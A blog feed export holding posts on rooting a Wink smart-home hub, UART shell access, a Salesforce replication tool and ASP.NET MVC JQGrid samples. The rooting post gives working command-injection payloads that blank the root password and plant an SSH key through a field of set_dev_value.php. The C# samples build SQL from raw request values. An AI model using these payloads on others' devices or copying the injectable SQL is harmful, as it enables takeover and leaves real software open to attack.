tag:blogger.com,1999:blog-4286236018295087722024-02-07T12:49:26.419-08:00Abdul Rahuman's blogAbout .NET ,Oracle SOA Suite and JDeveloperRahumanhttp://www.blogger.com/profile/01222479360415180681noreply@blogger.comBlogger22125tag:blogger.com,1999:blog-428623601829508772.post-31766866966951022662014-12-07T15:54:00.001-08:002014-12-07T16:00:11.608-08:00Wink hub Shell access through UART<div dir="ltr" style="text-align: left;" trbidi="on">
This post is a continuation of my <a href="http://arahuman.blogspot.com/2014/11/how-to-root-your-wink-hub-step-by-step.html" target="_blank">Part 1</a>. If you have bricked your device or want to access the shell follow the steps below,<span id="fullpost">
</span><br />
<div>
<br /></div>
<div>
1. Open the device and look for the UART pins and solder a 4 pin header as i have done. My idea was to leave it permanently so i can have access when needed. Red dotted box on the below picture shows that i have soldered the 4 pin header to the UART pins.</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://dl.dropboxusercontent.com/u/8804598/wink/root/img/wink-uart.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="179" src="https://dl.dropboxusercontent.com/u/8804598/wink/root/img/wink-uart.gif" width="320" /></a></div>
<div>
<br /></div>
<div>
2. Use an FTDI board to connect the wink to your USB port of your computer. The pin on your FTDI board will vary depends on your board. But your should connect like shown below,</div>
<div>
<br /></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">WINK GND <--> FTDI GND<!------></--></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">WINK TX <--> FTDI RX<!------></--></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">WINK RX <--> FTDI TX<!------></--></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">WINK 3v3 <--> FTDI 3v3 (optional)<!------></--></span></div>
<div>
<br /></div>
<div>
if you are using a board similar to mine make sure your jumper is set to 3v3 not on 5v.</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://dl.dropboxusercontent.com/u/8804598/wink/root/img/wink-ftdi.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="179" src="https://dl.dropboxusercontent.com/u/8804598/wink/root/img/wink-ftdi.gif" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://dl.dropboxusercontent.com/u/8804598/wink/root/img/ftdi.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="179" src="https://dl.dropboxusercontent.com/u/8804598/wink/root/img/ftdi.jpg" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
3. Install the required FTDI driver from the FTDI website. Now connect your USB to your computer ( i am using a mac). If you have installed the right driver you will see the USB UART setup under System Preferences -> network (like shown below).</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://dl.dropboxusercontent.com/u/8804598/wink/root/img/network.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="278" src="https://dl.dropboxusercontent.com/u/8804598/wink/root/img/network.png" width="320" /></a></div>
<div>
<br /></div>
<div>
4. Click on the "Advanced" button and try to match the values like given in the screenshot below,</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://dl.dropboxusercontent.com/u/8804598/wink/root/img/ftd%20driver.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="272" src="https://dl.dropboxusercontent.com/u/8804598/wink/root/img/ftd%20driver.png" width="320" /></a></div>
<div>
<br /></div>
<div>
5. Now Click Ok.</div>
<div>
<br /></div>
<div>
6. Install a Program named Z-Term(which in my opinion is lot better than screen) and select our FTDI network. </div>
<div>
<br /></div>
<div>
7. You have completed all your work, now connect the power supply to the wink hub and you should see the wink hub's console booting messages on your screen.</div>
<div>
<br /></div>
<div>
8. If you want to change any setup the zigbee interrupts won't allow you to open any file using any editor(which will keep overlaying your screen). So i did a "ps -ef" and found the zigbee services and did a "kill -9 <process id="" of="" zigbees="">". Now no more interrupts and you are free to make your changes.</process></div>
<div>
<br /></div>
<div>
9. For rebooting if you did a power recycle it was not saving my changes, so i used the "reboot" command to reboot the wink hub.</div>
<div>
<br /></div>
<div>
10. Good luck and i hope it will be helpful for someone who might have bricked their hub with a flashing pink.</div>
</div>
Rahumanhttp://www.blogger.com/profile/01222479360415180681noreply@blogger.com3tag:blogger.com,1999:blog-428623601829508772.post-24427698130656680392014-11-30T18:39:00.002-08:002014-12-07T15:59:38.911-08:00How to root your WINK hub - Step by Step tutorial<div dir="ltr" style="text-align: left;" trbidi="on">
Recently bought a WINK hub on a sale from Homedepot almost for free on the Blackfriday sale. I liked the concept since it supports multiple radios like Zigbee, Z-Wave, Lutron 433, Kidde 433, Bluetooth & Wifi. I already own a Vera 3 and i wanted to use this as a secondary controller by rooting the hub. Vera3 is extremely good and reliable except the UI but it only supports Z-Wave which made me think why can't i hack this free device as my secondary controller and use some of the cheap Zigbee devices available in Lowes like their Door Sensor, Panic Button, etc.<br />
<br />
I searched and found very few sites that talks about rooting this hub but the steps were not clear. So i thought of putting my own steps,<br />
<br />
#1. Looks like the Wink team has left some of the development debugging pages on the production release, which we will be leveraging to take control on this hub.<br />
<br />
#2. After purchasing the hub <u><b>DO NOT CONNET to the internet</b></u> which will make the hub download the latest firmware where they have fixed the issue.<br />
<br />
#3. Plugin the hub ( Don't worry it won't connect to the Wink Servers yet). Wait for the flashing pink lights to come up.( green -> flashing pink).<br />
<br />
#4. Now connect your laptop to the Wifi SSID name WINKHUB-*<br />
<br />
#5. Trying hitting the following url from your browser and make sure sure it works.<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">http://192.168.0.1 </span><br />
<br />
and you should see this "home page". Perform the below steps while you are still connected to the hub.<br />
<br />
#6. I am using Mac, so i opened a terminal and issued a curl command as given below to disable the root account's password.<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">curl "http://192.168.0.1/set_dev_value.php" -d "nodeId=a&attrId=;cp /etc/shadow /etc/shadow.bak;sed -i 's/root:.*:\(.*:.*:.*:.*:::\)/root::\1/' /etc/shadow;cat /etc/shadow;"</span><br />
<br />
This will take a minute so please be patient.<br />
<br />
#7. Generate a ssh key now by typing the following commands on a terminal window,<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">$ssh-keygen -t rsa</span><br />
<br />
press the enter key to accept the default location<br />
Type a passphare when it prompts and confirm it by entering the passphare second time. Now the system generates the ssh key as shown below.<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">Your identification has been saved in /Users/username/.ssh/id_rsa.</span><br />
<span style="font-family: Courier New, Courier, monospace;">Your public key has been saved in /Users/username/.ssh/id_rsa.pub.</span><br />
<span style="font-family: Courier New, Courier, monospace;">The key fingerprint is:</span><br />
<span style="font-family: Courier New, Courier, monospace;">bf:49:7f:cb:85:da:5a:f4:7c:1f:cc:23:dd:cc:55:f8 username@mac.local</span><br />
<span style="font-family: Courier New, Courier, monospace;">The key's randomart image is:</span><br />
<span style="font-family: Courier New, Courier, monospace;">+--[ RSA 2048]----+</span><br />
<span style="font-family: Courier New, Courier, monospace;">| |</span><br />
<span style="font-family: Courier New, Courier, monospace;">| . |</span><br />
<span style="font-family: Courier New, Courier, monospace;">| A . |</span><br />
<span style="font-family: Courier New, Courier, monospace;">| . . o |</span><br />
<span style="font-family: Courier New, Courier, monospace;">| o . . G . |</span><br />
<span style="font-family: Courier New, Courier, monospace;">| + + o . + |</span><br />
<span style="font-family: Courier New, Courier, monospace;">|. o o = o + |</span><br />
<span style="font-family: Courier New, Courier, monospace;">| o...o + o |</span><br />
<span style="font-family: Courier New, Courier, monospace;">|. oo.o . |</span><br />
<span style="font-family: Courier New, Courier, monospace;">+-----------------+</span><br />
<br />
#8. Now copy all the contents of your id_rsa.pub file(/Users/username/.ssh/id_rsa.pub) and encode the content using any of the online encoder. I used http://meyerweb.com/eric/tools/dencoder/<br />
<br />
#9. Copy the encoded content from the website and issue the following curl command from the terminal prompt as below(after replacing the your_encoded_key ) to add your ssh key to the hub.<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">curl "http://192.168.0.1/set_dev_value.php" -d "nodeId=a&attrId=;echo 'your_encoded_key' >> /root/.ssh/authorized_keys; cat /root/.ssh/authorized_keys;"</span><br />
<br />
If the command is successful, it will list 2 rsa keys including the one that you just added.<br />
<br />
#10. Try to ssh into the hub using<br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">root@192.168.0.1. </span><br />
<br />
#11. Now try editing the set_dev_value.php using,<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">$ vi /var/www/set_dev_value.php </span><br />
<br />
comment the line that starts with $cmd and add a new line as given below<br />
<br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">$cmd = 'aprontest -u -m ' . $nodeId . ' -t ' . $attrId . ' -v ' . $v;</span><br />
<br />
if you have done it correctly the file should look like this,<br />
<br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">$nodeId = $_POST['nodeId'];</span><br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">$attrId = $_POST['attrId'];</span><br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">$v = $_POST['value'];</span><br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><br /></span>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">//$who = exec('whoami');</span><br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">//echo $who;</span><br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">//passthru("sudo ls", $retval);</span><br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><br /></span>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">//echo "nodeId=" .$nodeId . " attrId=" . $attrId . " value=" . $v;</span><br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">//$cmd = 'sudo ' . dirname(__FILE__) . '/php2apron set_value ' . $nodeId . " " .</span><br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">$cmd = 'aprontest -u -m ' . $nodeId . ' -t ' . $attrId . ' -v ' . $v;</span><br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">//echo $cmd . " ";</span><br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><br /></span>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">passthru($cmd, $retval);</span><br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">echo "ret_code=" . $retval;</span><br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><br /></span>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">?></span><br />
<br />
#12. We want to block the device from getting the new firmware by editing the host file located in <span style="font-family: Courier New, Courier, monospace;">/etc/hosts</span><br />
<br />
and add the following entries in bold.<br />
<br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">127.0.0.1 localhost</span><br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><b>127.0.0.1 hub-api.winkapp.com</b></span><br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><b>127.0.0.1 hub-updates.winkapp.com</b></span><br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><b>127.0.0.1 wink-hub-images.s3.amazonaws.com</b></span><br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">127.0.1.1 flex-dvt</span><br />
<br />
#13. One more last step before we disconnect, edit the following file,<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">$vi /etc/init.d/S31platform </span><br />
<br />
and look for the following lines,<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">if [ ! -e /database/oauth ]; then </span><br />
<span style="font-family: Courier New, Courier, monospace;"> rm /database/wpa_supplicant.conf </span><br />
<span style="font-family: Courier New, Courier, monospace;">fi</span><br />
<br />
and edit the <span style="font-family: Courier New, Courier, monospace;"><b>rm /database/wpa_supplicant.conf</b></span> to <span style="font-family: Courier New, Courier, monospace;"><b>rm /database/wpa_supplicant.conf1</b></span>. I tried commenting the line but ran into issue. So i end up adding a 1 at the end, since the file anyway won't be there.<br />
<br />
#13. Disconnect the ssh or open a new terminal and add your Wifi ssid/password using the following curl command by replacing the x's with your wifi's ssid and y's with your wifi's password.<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">curl "http://192.168.0.1/index.php" -d '{"ssid":"xxxxxxx","pass":"yyyyyyy"}'</span><br />
<br />
#14. Now try rebooting the hub if everything goes well you should see a blue light which confirms that it works and try ssh into the hub and it should work like before.<br />
<br />
Also try accessing the device page by visiting <b><span style="font-family: Courier New, Courier, monospace;">http://your-new-hub-ip<your hub="" ip="" new="" s="">/devices.php</your></span></b>, which you will be using to add /remove devices.<br />
<br />
this <a href="http://winkhubroot.wordpress.com/2014/08/16/rooting-the-quirky-wink-hub/" rel="nofollow" target="_blank">link</a> was very useful when i was rooting my device.<br />
<br />
If you brick your device you will see a flashing pink. Still you can access the hub through UART which is little hard and also you need some hardware. I will post the picture and pin configuration shortly. Here is my <a href="http://arahuman.blogspot.com/2014/12/wink-hub-shell-access-through-uart.html" target="_blank">Part 2</a> where you will find information about getting the shell access to the wink hub through the UART using an FTDI board.<br />
<div>
<br /></div>
</div>
Rahumanhttp://www.blogger.com/profile/01222479360415180681noreply@blogger.com35tag:blogger.com,1999:blog-428623601829508772.post-9541220271786201112012-03-11T20:03:00.000-07:002012-03-11T20:03:01.672-07:00Replicate Salesforce Data to local MySql DB (Part 1)<div dir="ltr" style="text-align: left;" trbidi="on">
<span id="fullpost" style="font-family: Arial, Helvetica, sans-serif;">
Sorry about the long delay. During this time, i have switched between multiple technologies and recently involved heavily on the cloud based system like Google App Engine & Salesforce. While working on Salesforce i was looking for an application to download all my saleforce objects along with the data. There were lot of commercial app that does more than what i need with a bigger price tag. I also found some PHP based solutions fulfilling half of what i wanted. So i ended up writing my own application using Java with the following features, </span><br />
<br />
<ul style="text-align: left;">
<li><span style="font-family: Arial, Helvetica, sans-serif;">Should be an command line application so that i can schedule it. </span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">Should go through corporate firewall </span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">I should be able to stop and start </span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">I need to exclude objects that i don't want </span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">Multiple download of the same objects should be avoided during retries until a configured interval is passed.</span></li>
</ul>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;">I created my Java command line application with the following command line arguments,</span></div>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span><br />
<br />
<span style="font-family: 'Courier New', Courier, monospace;">usage: java -cp sfdata_duplicator.jar [-cdbs <arg>] [-csql <arg>] [-dbh <arg>]</arg></arg></arg></span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> [-dbp <arg>] [-dbs <arg>] [-dbu <arg>] [-dte <arg>] [-p <arg>] [-pa</arg></arg></arg></arg></arg></span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> <arg>] [-pdb <arg>] [-ph <arg>] [-po <arg>] [-pp <arg>] [-pu <arg>] [-sfe</arg></arg></arg></arg></arg></arg></span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> <arg>] [-sfp <arg>] [-sft <arg>] [-sfu <arg>] [-sp <arg>] [-spr <arg>]</arg></arg></arg></arg></arg></arg></span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> [-srel <arg>] [-stbl <arg>]</arg></arg></span><br />
<span style="font-family: 'Courier New', Courier, monospace;">GNU HELP</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> -cdbs,--create-db-schema <arg> Enable creating local schema from</arg></span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> local sql files</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> -csql,--create-local-sqlfiles <arg> Enable creating local sql files from</arg></span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> salesforce</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> -dbh,--db-host <arg> Enter the mysql host name</arg></span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> -dbp,--db-password <arg> Enter the mysql password</arg></span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> -dbs,--db-schema <arg> Enter the mysql schema name</arg></span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> -dbu,--db-user <arg> Enter the mysql user name</arg></span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> -dte,--drop-table-if-exists <arg> Drop table if already exists</arg></span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> -p,--enable-proxy <arg> Enable proxy[true|false]</arg></span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> -pa,--proxy-auth-req <arg> Is Proxy authentication required</arg></span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> -pdb,--populate-db <arg> Enable populating data from</arg></span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> salesforce</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> -ph,--proxy-host <arg> Enter the proxy host name</arg></span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> -po,--proxy-port <arg> Enter the proxy host name</arg></span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> -pp,--proxy-password <arg> Enter the proxy password</arg></span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> -pu,--proxy-user <arg> Enter the proxy user name</arg></span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> -sfe,--sf-endpoint <arg> Enter the salesforce</arg></span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> endpoint(default: sandbox)</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> -sfp,--sf-password <arg> Enter the salesforce password</arg></span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> -sft,--sf-token <arg> Enter the salesforce token</arg></span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> -sfu,--sf-user <arg> Enter the salesforce user name</arg></span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> -sp,--sql-path <arg> Enter the path to store mysql queries</arg></span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> -spr,--sql-prefix <arg> Enter the prefix for creating tables</arg></span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> in mysql</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> -srel,--sql-relation-file <arg> Enter the file name for storing</arg></span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> relation queries</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> -stbl,--sql-table-file <arg> Enter the file name for storing table</arg></span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> queries</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">End of GNU Help</span><br />
</div>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;">
</span></div>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span><br />
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span><br />
<span style="font-family: Arial, Helvetica, sans-serif;">I will go over other details in my next Part.</span><br />
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://sites.google.com/site/arahuman/Home/sf_model_replicator.7z?attredirects=0&d=1">
<img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiggnV-u5wEYmZDClJ3QQSR_rJ3ObXr1fNKBA5qpoN0Sp1S6PxyVgs_6RffgnPuQ-Wn-P36T0PLdxIsK0D3dByrVJmstAnAejL5yxhbc5oX2Ku62IwrBohGEDHlHmV3UVEnSfivsHcOWuU/s1600/zip-file-icon.jpg" /></a></div>
<br /></div>
</div>Rahumanhttp://www.blogger.com/profile/01222479360415180681noreply@blogger.com7tag:blogger.com,1999:blog-428623601829508772.post-28380733447487596572009-06-30T21:02:00.000-07:002012-03-11T17:28:17.398-07:00Master Detail JQGrid using MVC and JSONIn my previous article i have covered an example of using JQGrid using MVC and Jason( You can find my previous article <a href="http://arahuman.blogspot.com/2009/06/jqgrid-using-mvc-json-and-datatable.html">here</a>. Based on the response i received for the previous article, i thought of putting together another example on Master Detail JQGrid using MVC and JSON.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjm4MJiNwLifK40Ns1ow6Xsal4sf3fUU7ab2Ec_4vgG0XfPDH6kKGZiUZrxq8iflB_32YnIv0OUsF8Vyky-yFcrfiaUrs3TeCUvJdAD8tRKoLA4d-e3u_wjiK6rscfxeVhj43ze3cuSkUQ/s1600-h/MVC+MasterDetail.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 600px; height: 437px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjm4MJiNwLifK40Ns1ow6Xsal4sf3fUU7ab2Ec_4vgG0XfPDH6kKGZiUZrxq8iflB_32YnIv0OUsF8Vyky-yFcrfiaUrs3TeCUvJdAD8tRKoLA4d-e3u_wjiK6rscfxeVhj43ze3cuSkUQ/s400/MVC+MasterDetail.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5353340862794977282" /></a><br /><br />Here i will talking mostly the difference between my previous article and current one. From the first grid i am capturing the OnSelectRow event whenever a row is clicked. The id from the selected row gets passed as an Query Parameter, which then gets used to pull all the detail rows. You can also dynamically set the caption for the detail grid from your OnSelectRow event as shown below.<br /><br />
<pre name="code" class="brush:html"><br /><%@ Page Language="C#" MasterPageFile="~/Views/Shared/Site.Master" Inherits="System.Web.Mvc.ViewPage" %><br /><asp:Content ID="indexTitle" ContentPlaceHolderID="TitleContent" runat="server"><br /> Home Page<br /></asp:Content><br /><asp:Content ID="indexContent" ContentPlaceHolderID="HeadContent" runat="server"><br /> <script type="text/javascript"><br /> jQuery(document).ready(function() {<br /> jQuery("#list").jqGrid({<br /> url: '/Home/GetGridData/',<br /> datatype: 'json',<br /> mtype: 'GET',<br /> colNames: ['Customer ID', 'Contact Name', 'Address', 'City', 'Postal Code'],<br /> colModel: [<br /> { name: 'CustomerID', index: 'CustomerID', width: 100, align: 'left' },<br /> { name: 'ContactName', index: 'ContactName', width: 150, align: 'left' },<br /> { name: 'Address', index: 'Address', width: 300, align: 'left' },<br /> { name: 'City', index: 'City', width: 150, align: 'left' },<br /> { name: 'PostalCode', index: 'PostalCode', width: 100, align: 'left' }<br /> ],<br /> pager: jQuery('#pager'),<br /> rowNum: 10,<br /> rowList: [5, 10, 20, 50],<br /> sortname: 'CustomerID',<br /> sortorder: "asc",<br /> viewrecords: true,<br /> imgpath: '/scripts/themes/steel/images',<br /> caption: '<b>Northwind Customer Information</b>',<br /> onSelectRow: function(ids) {<br /> if (ids != null) {<br /> var data = $("#list").getRowData(ids);<br /> jQuery("#OrderList").setGridParam({ url: "/Home/GetDetailGridData/" + data.CustomerID, page: 1 })<br /> .setCaption("<b>Order Details for : " + data.ContactName+"</b>")<br /> .trigger('reloadGrid');<br /> }<br /> }<br /> }).navGrid(pager, { edit: false, add: false, del: false, refresh: true, search: false });<br /> jQuery("#OrderList").jqGrid<br /> ({<br /> height: 100,<br /> datatype: "json",<br /> colNames: ['Order Date', 'Shipped Date', 'Freight', 'Ship Name', 'Ship Address', 'Ship City', 'Ship PostalCode'],<br /> colModel:<br /> [<br /> { name: 'OrderDate', index: 'OrderDate', width: 100, align: 'left' },<br /> { name: 'ShippedDate', index: 'ShippedDate', width: 100, align: 'left' },<br /> { name: 'Freight', index: 'Freight', width: 100, align: 'left' },<br /> { name: 'ShipName', index: 'ShipName', width: 150, align: 'left' },<br /> { name: 'ShipAddress', index: 'ShipAddress', width: 150, align: 'left' },<br /> { name: 'ShipCity', index: 'ShipCity', width: 100, align: 'left' },<br /> { name: 'ShipPostalCode', index: 'ShipPostalCode', width: 100, align: 'left' }<br /> ],<br /> rowNum: 5,<br /> rowList: [5, 10, 20],<br /> imgpath: '/scripts/themes/steel/images',<br /> pager: jQuery('#OrderPager'),<br /> sortname: 'OrderDate',<br /> viewrecords: true,<br /> sortorder: "desc"<br /> }).navGrid('#OrderPager', { add: false, edit: false, del: false, search: false });<br /> });<br /> </script><br /><br /></asp:Content><br /><asp:Content ID="Content1" ContentPlaceHolderID="MainContent" runat="server"><br /> <h2><br /> Customers List</h2><br /> <table id="list" class="scroll" cellpadding="0" cellspacing="0" width="100%"><br /> </table><br /> <div id="pager" class="scroll" style="text-align: center;"><br /> </div><br /> <h2>Orders</h2><br /> <table id="OrderList" class="scroll" cellpadding="0" cellspacing="0"><br /> </table><br /> <div id="OrderPager" class="scroll" style="text-align: center;"><br /> </div><br /></asp:Content><br /><br /></pre><br />trigger function will reload the detail grid. <br /><br />I have written a new controller method for getting the data for the detail grid. The URL to this method gets set on the same onSelectRow event as shown above. <br /><br />
<pre name="code" class="brush:csharp"><br />using System;<br />using System.Collections.Generic;<br />using System.Linq;<br />using System.Web;<br />using System.Web.Mvc;<br />using System.Data.SqlClient;<br />using System.Configuration;<br />using System.Data;<br />using JQGridMVCDemo.Helper;<br /><br />namespace MvcApplication1.Controllers {<br /> [HandleError]<br /> public class HomeController : Controller {<br /> public ActionResult Index() {<br /> ViewData["Message"] = "Welcome to ASP.NET MVC!";<br /> return View();<br /> }<br /><br /> public ActionResult About() {<br /> return View();<br /> }<br /> public ActionResult GetDetailGridData(string id,string sidx, string sord, int page, int rows) {<br /> int startIndex = ((page - 1) * rows) + 1;<br /> int endIndex = page * rows;<br /> string tcQuery = @"SELECT COUNT(*) FROM Orders WHERE CustomerID='"+id+"'";<br /> string dtQuery = @"WITH PAGED_ORDERS AS<br /> (<br /> SELECT OrderDate, ShippedDate, Freight, ShipName, ShipAddress, <br /> ShipCity, ShipPostalCode,ROW_NUMBER() <br /> OVER (ORDER BY " + sidx + @" " + sord + @") AS RowNumber<br /> FROM ORDERS<br /> WHERE CustomerID='" + id + @"'<br /> )<br /> SELECT CONVERT(VARCHAR(10), OrderDate, 101) OrderDate, <br /> CONVERT(VARCHAR(10), ShippedDate, 101) ShippedDate, <br /> Freight, ShipName, ShipAddress, ShipCity, ShipPostalCode<br /> FROM PAGED_ORDERS<br /> WHERE RowNumber BETWEEN " + startIndex + @" AND " + endIndex + @";";<br /> return Content(JsonHelper.JsonForJqgrid(GetDataTable(dtQuery), rows, GetTotalCount(tcQuery), page), "application/json");<br /> }<br /> public ActionResult GetGridData(string sidx, string sord, int page, int rows) {<br /> int startIndex = ((page - 1) * rows) + 1;<br /> int endIndex = page * rows;<br /> string tcQuery = @"SELECT COUNT(*) FROM Customers";<br /> string dtQuery = @"WITH PAGED_CUSTOMERS AS<br /> (<br /> SELECT CustomerID, ContactName, Address, City, PostalCode,<br /> ROW_NUMBER() OVER (ORDER BY " + sidx + @" " + sord + @") AS RowNumber<br /> FROM CUSTOMERS<br /> )<br /> SELECT CustomerID, ContactName, Address, City, PostalCode<br /> FROM PAGED_CUSTOMERS<br /> WHERE RowNumber BETWEEN " + startIndex + @" AND " + endIndex + @";";<br /><br /> return Content(JsonHelper.JsonForJqgrid(GetDataTable(dtQuery), rows, GetTotalCount(tcQuery), page), "application/json");<br /> }<br /><br /> public DataTable GetDataTable(string sql) {<br /> DataTable dt = new DataTable();<br /> SqlConnection conn = new SqlConnection(ConfigurationManager.ConnectionStrings["mainConnection"].ConnectionString);<br /> SqlDataAdapter adap = new SqlDataAdapter(sql,conn);<br /> var rows=adap.Fill(dt);<br /> return dt;<br /> }<br /><br /> public int GetTotalCount(string sql) {<br /> SqlConnection conn=null;<br /> try {<br /> conn= new SqlConnection(ConfigurationManager.ConnectionStrings["mainConnection"].ConnectionString);<br /> SqlCommand comm = new SqlCommand(sql, conn);<br /> conn.Open();<br /> return (int)comm.ExecuteScalar();<br /> } catch {<br /> } finally {<br /> try {<br /> if (ConnectionState.Closed != conn.State) {<br /> conn.Close();<br /> }<br /> }catch {<br /> }<br /> }<br /> return -1;<br /> }<br /> }<br />}<br /></pre><br /><br /><br /><br />You can download the sample code <a href="http://arahuman.googlepages.com/JQGridMVCDemoMaster.zip"><br /><img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 50px; height: 50px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiggnV-u5wEYmZDClJ3QQSR_rJ3ObXr1fNKBA5qpoN0Sp1S6PxyVgs_6RffgnPuQ-Wn-P36T0PLdxIsK0D3dByrVJmstAnAejL5yxhbc5oX2Ku62IwrBohGEDHlHmV3UVEnSfivsHcOWuU/s200/zip-file-icon.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5353709026922764786" /></a>.Rahumanhttp://www.blogger.com/profile/01222479360415180681noreply@blogger.com7tag:blogger.com,1999:blog-428623601829508772.post-80732383889205289552009-06-28T19:11:00.001-07:002012-03-11T17:30:30.482-07:00JQGrid using MVC, Json and Datatable.Last couple of days i have been trying to make my sample JQGrid working ASP.NET MVC and DataTable. If you google it with this two terms MVC,JQGrid you will find lot of samples using Linq, but if you work with Databases like Oracle or any other databases which does not have a LINQ provider(atleast at the time of writing this article) your alternate choice is to go with DataSet/DataTable. So i thought of putting this example together to help others who are on the same boat like myself.<br /><br />I have given a fully working sample of ASP.NET MVC with JQgrid using Datatable(See below for the download link).<br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj43_RmGd_AurUsNcMDizB_BdrgxhMUBweggaj6WNqJuUscKxF5IrYvhm6HuNO8fz2cTRhVj7obLU4EbLqOikdILK-YBG6fLLwipbQBE30EGnOI7dzf0GR1NZYQeP1k5U7CNqbrVVTcgaI/s1600-h/MVC+JQGrid.png"><img style="display:block; margin:0px auto 10px; 